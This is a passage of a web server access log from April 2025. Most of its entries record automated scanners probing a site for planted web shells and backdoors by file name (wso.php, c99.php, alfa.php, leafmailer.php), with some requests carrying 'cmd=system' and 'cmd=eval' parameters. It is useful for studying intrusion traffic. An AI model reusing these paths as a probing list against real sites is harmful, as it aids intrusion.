/wp-includes/wp-class.php/wp-content/uploads/wplivechat/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:45 -0400] "GET /wp-includes/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:46 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:46 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:47 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:47 -0400] "GET /wp-includes/wp-shell.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:47 -0400] "GET /wp-includes/x2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:48 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:48 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:48 -0400] "GET /wp-json/wp/v2/posts?cmd=system HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:49 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:49 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:49 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:50 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:50 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:51 -0400] "GET /wp-mail.php/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:51 -0400] "GET /wp-mail.php/wp-includes/ID3/.info.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:51 -0400] "GET /wp-mail.php/wp-includes/ID3/class-config.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:52 -0400] "GET /wp-mail.php/wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:52 -0400] "GET /wp-one.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:52 -0400] "GET /wp-post.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:53 -0400] "GET /wp-scripts.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:53 -0400] "GET /wp-seo.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:53 -0400] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:54 -0400] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:54 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:55 -0400] "GET /wp-theme.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:55 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:55 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:56 -0400] "GET /wp-wso.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:56 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:56 -0400] "GET /wp.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:57 -0400] "GET /wp2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:57 -0400] "GET /wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:58 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:58 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:58 -0400] "GET /ws.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:59 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:59 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:51:59 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:52:00 -0400] "GET /wso2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:52:00 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:52:01 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:52:01 -0400] "GET /x/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:52:01 -0400] "GET /x2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:52:02 -0400] "GET /xindex.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:52:02 -0400] "GET /xl.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:52:03 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:52:03 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:52:03 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:52:04 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:52:04 -0400] "GET /xmlrpc.php0 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:52:05 -0400] "GET /xmlrpc.php?cmd=eval HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:52:05 -0400] "GET /xmlrpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:52:05 -0400] "GET /xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:52:06 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:52:06 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:52:07 -0400] "GET /xz.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:52:07 -0400] "GET /y7.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:52:07 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:52:08 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:52:08 -0400] "GET /yq7.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:52:08 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:52:09 -0400] "GET /z63.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:52:09 -0400] "GET /zT.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:52:10 -0400] "GET /zqBSIrn38Ja.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:52:10 -0400] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:52:10 -0400] "GET /zz.php HTTP/1.1" 301 795 "-" "-" 43.130.78.203 - - [18/Apr/2025:08:53:21 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 113.116.195.122 - - [18/Apr/2025:09:33:37 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 113.116.195.122 - - [18/Apr/2025:09:33:37 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 45.86.202.184 - - [18/Apr/2025:09:59:28 -0400] "GET /language/en-GB/en-GB.xml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.86.202.193 - - [18/Apr/2025:09:59:39 -0400] "GET /administrator/manifests/files/joomla.xml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.86.202.190 - - [18/Apr/2025:09:59:51 -0400] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.31.0" 45.86.202.176 - - [18/Apr/2025:09:59:59 -0400] "GET /wp-includes/ms-settings.php HTTP/1.1" 301 795 "-" "python-requests/2.31.0" 45.86.202.174 - - [18/Apr/2025:10:00:08 -0400] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.31.0" 45.86.202.193 - - [18/Apr/2025:10:00:14 -0400] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.31.0" 45.86.202.180 - - [18/Apr/2025:10:00:28 -0400] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.31.0" 117.33.163.216 - - [18/Apr/2025:10:14:25 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 54.236.1.13 - - [18/Apr/2025:10:54:01 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Pinterestbot/1.0; +http://www.pinterest.com/bot.html)" 54.236.1.11 - - [18/Apr/2025:10:54:01 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Pinterestbot/1.0; +http://www.pinterest.com/bot.html)" 54.236.1.13 - - [18/Apr/2025:10:54:07 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Pinterestbot/1.0; +http://www.pinterest.com/bot.html)" 220.181.51.116 - - [18/Apr/2025:11:16:28 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 162.0.232.217 - - [18/Apr/2025:11:43:52 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:11:44:44 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:11:46:07 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 212.34.154.131 - - [18/Apr/2025:11:51:55 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 162.0.232.217 - - [18/Apr/2025:11:52:42 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:11:53:09 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:11:53:35 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 91.90.123.51 - - [18/Apr/2025:11:56:05 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; Rv:50.0) Gecko/20100101 Firefox/50.0" 196.251.71.7 - - [18/Apr/2025:12:24:54 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 196.251.71.7 - - [18/Apr/2025:12:28:15 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 54.36.149.49 - - [18/Apr/2025:12:35:30 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)" 84.17.60.69 - - [18/Apr/2025:12:38:25 -0400] "GET /shell4.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:38:29 -0400] "GET /ups.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:38:32 -0400] "GET /ru.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:38:35 -0400] "GET /if.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:38:38 -0400] "GET /vuln.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:38:42 -0400] "GET /fw.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:38:46 -0400] "GET /skipper.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:38:49 -0400] "GET /skippershell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:38:53 -0400] "GET /tttt.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:38:59 -0400] "GET /tshop.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:39:01 -0400] "GET /alfa.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:39:06 -0400] "GET /shell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:39:10 -0400] "GET /inje3ctor.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:39:13 -0400] "GET /saudi.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:39:17 -0400] "GET /wso.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:39:22 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:39:26 -0400] "GET /my_alfa.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:39:29 -0400] "GET /uploader.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:39:33 -0400] "GET /up.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:39:36 -0400] "GET /hacked.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:39:39 -0400] "GET /c99.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:39:43 -0400] "GET /priv8.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:39:46 -0400] "GET /Navir.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:39:50 -0400] "GET /cmd13.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:39:55 -0400] "GET /inc20k1.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:39:59 -0400] "GET /1index.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:40:02 -0400] "GET /404.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:40:06 -0400] "GET /swm.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:40:09 -0400] "GET /wp.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:40:12 -0400] "GET /doc.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:40:15 -0400] "GET /shx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:40:18 -0400] "GET /ws.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:40:22 -0400] "GET /m.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:40:25 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:40:28 -0400] "GET /LEAF.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:40:31 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:40:34 -0400] "GET /mailer.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:40:36 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:40:40 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:40:42 -0400] "GET /leaf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:40:45 -0400] "GET /x.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:40:47 -0400] "GET /srx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:40:50 -0400] "GET /1337.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:40:53 -0400] "GET /xx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:40:56 -0400] "GET /XxX.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:40:59 -0400] "GET /lf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:41:02 -0400] "GET /alex.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:41:06 -0400] "GET /new.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:41:09 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:41:12 -0400] "GET /gaza.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:41:15 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:41:18 -0400] "GET /3index.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:41:20 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:41:23 -0400] "GET /wso1.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:41:26 -0400] "GET /bb.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:41:30 -0400] "GET /Lux.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 84.17.60.69 - - [18/Apr/2025:12:41:33 -0400] "GET /haxor.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 91.84.99.6 - - [18/Apr/2025:12:42:23 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 43.163.206.70 - - [18/Apr/2025:12:49:35 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 163.5.241.34 - - [18/Apr/2025:13:33:05 -0400] "GET / HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.11.11" 163.5.241.27 - - [18/Apr/2025:13:33:39 -0400] "GET / HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.11.11" 144.76.72.245 - - [18/Apr/2025:13:46:23 -0400] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 162.0.232.217 - - [18/Apr/2025:13:56:46 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:13:57:01 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:13:57:14 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:13:57:16 -0400] "GET /.well-known/pki-validation/xl2023.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:14:04:32 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:14:04:36 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:14:04:52 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:14:05:30 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:14:05:33 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:14:05:38 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:14:05:49 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:14:06:11 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:14:06:23 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:14:06:31 -0400] "GET /.well-known/pki-validation/wp-sigunq.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:14:06:48 -0400] "GET /.well-known/pki-validation/x.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:14:06:50 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:14:07:06 -0400] "GET /.well-known/pki-validation/mariju.php 